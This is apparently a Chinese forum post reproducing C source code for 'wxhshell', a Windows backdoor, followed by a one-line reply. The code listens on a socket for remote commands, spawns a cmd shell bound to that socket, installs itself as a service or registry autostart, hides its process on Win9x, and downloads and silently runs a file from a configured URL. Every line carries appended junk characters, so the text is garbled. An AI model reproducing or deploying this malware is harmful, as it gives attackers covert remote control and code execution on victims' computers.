  if(DownloadFile(cmd,wsh)) }1~9i'o%Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #N >66!/V  
  else "::2]3e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6NhGTLI  
  } x=Oy 6"  
  else { S.1>bs2  
Ol+D"k~<C  
    switch(cmd[0]) { ]?wz.  
  3&AJN#c  
  // 帮助 Ba|}$jo  
  case '?': { 8wOscL f:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =BE!  
    break; 2;s[m3  
  } JoiGuZd>  
  // 安装 ]&q<O0^'  
  case 'i': { \4G9YK-N>  
    if(Install()) (l-= /6-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q>>1?hzA  
    else cc_'Kv!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xP&7i'ag  
    break; 0H^*VUyW/  
    } Fb8d= Zc  
  // 卸载 hhZ%{lqL  
  case 'r': { ]H}2|~c  
    if(Uninstall()) LD5`9-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"{]S12N  
    else \R]2YY`EP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L3xN#W;m7  
    break; *.k*JsU~B  
    } %X %zK1  
  // 显示 wxhshell 所在路径 <f8j^  
  case 'p': { z |~+0  
    char svExeFile[MAX_PATH]; ~M} K]Li  
    strcpy(svExeFile,"\n\r"); LPu *Lkx  
      strcat(svExeFile,ExeFile); (PGw{_  
        send(wsh,svExeFile,strlen(svExeFile),0); R2-F@_  
    break; 3 e1-w$z&S  
    } {j]cL !Od  
  // 重启 43M.Hj]  
  case 'b': { @P75f5p}<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0+@:f^3]!  
    if(Boot(REBOOT)) ZCc23UwI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Z J-oT!.  
    else { 7kE+9HmfMk  
    closesocket(wsh); S\A0gOL^  
    ExitThread(0); xRXvTNEg  
    } m[3c,Axl7  
    break; 83/m^^F{]  
    } _u$DcA8B  
  // 关机 "B (?|r%  
  case 'd': { 3.BUWMD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7]T(=gg /  
    if(Boot(SHUTDOWN)) ")i)vXF'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IjRUr\l  
    else { WH1 " HO  
    closesocket(wsh); C5I7\9F)  
    ExitThread(0); iO?^y(phC  
    } C12V_)~2  
    break; |/n7(!7$[v  
    } ^tG,H@95  
  // 获取shell ly[d V.<P  
  case 's': { GuU-< *u(d  
    CmdShell(wsh); ^GY^g-R  
    closesocket(wsh); O)VcW/  
    ExitThread(0); *Ic^9njt  
    break; UhS:tT]7  
  } $o5i15Oy.  
  // 退出 md'wre3  
  case 'x': { 0{bl^#$f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ki@C}T5  
    CloseIt(wsh); H8 ? Y{H  
    break; xp95KxHHo  
    } S!=R\_{u$  
  // 离开 IBJNs$  
  case 'q': { 2xO[ ?fR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DH+kp$,}  
    closesocket(wsh); zs I?X>4  
    WSACleanup(); #.HnO_sK_  
    exit(1); l~]] RgU  
    break; *(q?O_3,b  
        } AmDOv4  
  } -WqhOZ  
  } K)J_q3qo  
( s4W&  
  // 提示信息 (E00T`@t0i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ru*gbv,U  
} Pm)*zdZ8  
  } $G"\@YC<  
"ckK{kS4~  
  return; wW\@^5  
} P* 0kz@  
L f"!:]  
// shell模块句柄 [y'blCb  
int CmdShell(SOCKET sock) N'EZJ oH  
{ U-1UWq  
STARTUPINFO si; !fn%Q'S  
ZeroMemory(&si,sizeof(si)); H<i!C|AF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E:**gvfq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8o%Vn'^t  
PROCESS_INFORMATION ProcessInfo; X0P +[.i  
char cmdline[]="cmd"; -`\rDPGf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :g63*d+/G  
  return 0; oydP}X  
} E#(e2Z=  
^"?a)KC  
// 自身启动模式 q%kCTw  
int StartFromService(void) `&q+ f+z  
{ -kLBq :M  
typedef struct 2ak]&ll+h  
{ 0O`Rh"O  
  DWORD ExitStatus; q5e(~@(z<`  
  DWORD PebBaseAddress; T=42]h  
  DWORD AffinityMask; ^lV}![do!  
  DWORD BasePriority; i:jXh9+  
  ULONG UniqueProcessId; `Ze$Bd\  
  ULONG InheritedFromUniqueProcessId; ig.Z,R3@r  
}   PROCESS_BASIC_INFORMATION; ~\NQkaBkY  
~v2(sRJ  
PROCNTQSIP NtQueryInformationProcess; RNB&!NC  
lF/ Xs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IWq\M,P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dE,E,tv  
9;7"S.7AV  
  HANDLE             hProcess; ^|Fy!kp  
  PROCESS_BASIC_INFORMATION pbi; 06AgY0\  
gw,K*ph}q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >^g2 Tg:  
  if(NULL == hInst ) return 0; QEt"T7a[/  
(jU_lsG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UwS7B~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Iga +8k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 18F}3t??  
'62_q8:  
  if (!NtQueryInformationProcess) return 0; RDDA^U7y#  
uNuFD|aQ.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Q8 H8!^  
  if(!hProcess) return 0; +fboTsp% H  
M}11 tUl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MhHh`WUGh  
Fw-Rv'\  
  CloseHandle(hProcess); w"[T  
TX$dxHSPK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u=qK_$d4  
if(hProcess==NULL) return 0; )m =xf1  
y$-@|M$GG  
HMODULE hMod; y ]@JkF(  
char procName[255]; I(R%j]LX&  
unsigned long cbNeeded; \)uA:v  
6}R*7iM s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qm3F=*)d  
d]sqj\Q57  
  CloseHandle(hProcess); -n|>U:  
c$ib-  
if(strstr(procName,"services")) return 1; // 以服务启动 o[Qb/ 7  
GP4!t~"1  
  return 0; // 注册表启动 r?[[.zm"7  
} e'$[PF  
*\'t$se+  
// 主模块 T$u'+* Xx  
int StartWxhshell(LPSTR lpCmdLine) xf;>o$oN0P  
{ 7/hn%obC  
  SOCKET wsl; YL|)`m0-^5  
BOOL val=TRUE; /YZMP'v  
  int port=0; ;[ Dxk$"  
  struct sockaddr_in door; iQ Xlz] '  
Yn [ F:Z  
  if(wscfg.ws_autoins) Install(); *)w+xWmM3w  
%Jh( 5  
port=atoi(lpCmdLine); *Lz'<=DLoW  
EQ^]W-gN  
if(port<=0) port=wscfg.ws_port; s/hWhaS<  
l+2NA4s  
  WSADATA data; n7;jME/!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V0>[bzI  
D['J4B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )s:kQ~+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?+ d{Rh) y  
  door.sin_family = AF_INET; lFtEQ '}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^(+q 1O'  
  door.sin_port = htons(port); cOdRb=?9  
b1#C,UWK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rAHP5dx:  
closesocket(wsl); p({@t=L3g  
return 1; sdO8;v>  
} p : z ][I  
#Swc>jYc  
  if(listen(wsl,2) == INVALID_SOCKET) { EmO[-W|2  
closesocket(wsl); X(x,6cC  
return 1; @ntwdv;  
} rz&V.,s  
  Wxhshell(wsl); c"kB@P  
  WSACleanup(); %>+lr%B  
c.LRS$o/j  
return 0; /dg?6XT/  
| WJ]7C  
} \PT!mbB?  
g)Hsd0  
// 以NT服务方式启动 .?3ro Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FEu}zt@  
{ 4rL`||  
DWORD   status = 0; /q>ExXsEC  
  DWORD   specificError = 0xfffffff; bf.+Ewb(  
,8Q0AkG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QChWy`x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +~G:z|k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f@ |[pT  
  serviceStatus.dwWin32ExitCode     = 0; vjGJRk|XED  
  serviceStatus.dwServiceSpecificExitCode = 0; =/a`X[9vI  
  serviceStatus.dwCheckPoint       = 0; ] +%`WCr9  
  serviceStatus.dwWaitHint       = 0; [g@qZ5I.  
N e{=KdzT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gev\bQa  
  if (hServiceStatusHandle==0) return; S_Nm?;P  
SbX^DAlB1  
status = GetLastError(); 'q;MhnU+  
  if (status!=NO_ERROR) ZhCz]z~tj6  
{ 3C!|!N1Hn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mIG>`7`7N  
    serviceStatus.dwCheckPoint       = 0; um$U3'0e  
    serviceStatus.dwWaitHint       = 0; <Tgubv+J  
    serviceStatus.dwWin32ExitCode     = status; 1&e8vVN  
    serviceStatus.dwServiceSpecificExitCode = specificError; [-l>f P0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8g{Mv#b%  
    return; Ygg+=@].@  
  } ;8vB7|54.  
S"Vr+x?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UGM:'xa<T  
  serviceStatus.dwCheckPoint       = 0; 9=iMP~?xF  
  serviceStatus.dwWaitHint       = 0; Q`J U[nY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W?E01"p  
} y=\&z&3$  
KQ9w>!N[  
// 处理NT服务事件,比如:启动、停止 rC|nE=i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]5 ]wyDj  
{ AX+]Z$  
switch(fdwControl) _Fj\0S"  
{ n7ZJ< ~wl  
case SERVICE_CONTROL_STOP: rT;l#<#VE  
  serviceStatus.dwWin32ExitCode = 0; Z-CA9&4Uh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -6_<]  
  serviceStatus.dwCheckPoint   = 0; n)a/pO_  
  serviceStatus.dwWaitHint     = 0; +fozE?  
  { Yy/,I]F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;9)nG,P3  
  } fuHNsrNlm  
  return; <w~$S0_  
case SERVICE_CONTROL_PAUSE:  7Tr '<(A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V+>RF  
  break; 2<0".5+I  
case SERVICE_CONTROL_CONTINUE: x%$6l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /-lW$.+{?  
  break; >(n /  
case SERVICE_CONTROL_INTERROGATE: ho^c#>81  
  break; `r=^{Y  
}; 4?(=?0/[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (K6vXq.;\\  
} *j,noHUT~>  
N!?~Dgw  
// 标准应用程序主函数 &~.|9P/45  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gJwX  
{ UjunIKX+  
M^l%*QF[,q  
// 获取操作系统版本 c+Z dfdR  
OsIsNt=GetOsVer(); _z]v;Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  wDiq~!  
|iSwG=&  
  // 从命令行安装 ; 1?L  
  if(strpbrk(lpCmdLine,"iI")) Install(); yP-$@Ry  
.aWwJZ=[  
  // 下载执行文件 9(=+OQ6  
if(wscfg.ws_downexe) { z/5TYv)S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 90J WU$K  
  WinExec(wscfg.ws_filenam,SW_HIDE); )knK'H(  
} ${ .:(z  
#>CWee;  
if(!OsIsNt) { [}Rs  
// 如果时win9x,隐藏进程并且设置为注册表启动 .{;RJ:O  
HideProc(); >PdrLwKS  
StartWxhshell(lpCmdLine); ^Bw"+6d  
} )<'2 vpz  
else 0V"(}!=2a  
  if(StartFromService()) s&WE'  
  // 以服务方式启动 Qd3ppJn  
  StartServiceCtrlDispatcher(DispatchTable); 3M[d6@a  
else SJ8 ~:"\P  
  // 普通方式启动 {KTZSs $n  
  StartWxhshell(lpCmdLine); ="@f~~  
nyhHXVRH  
return 0; !L|VmLqa  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八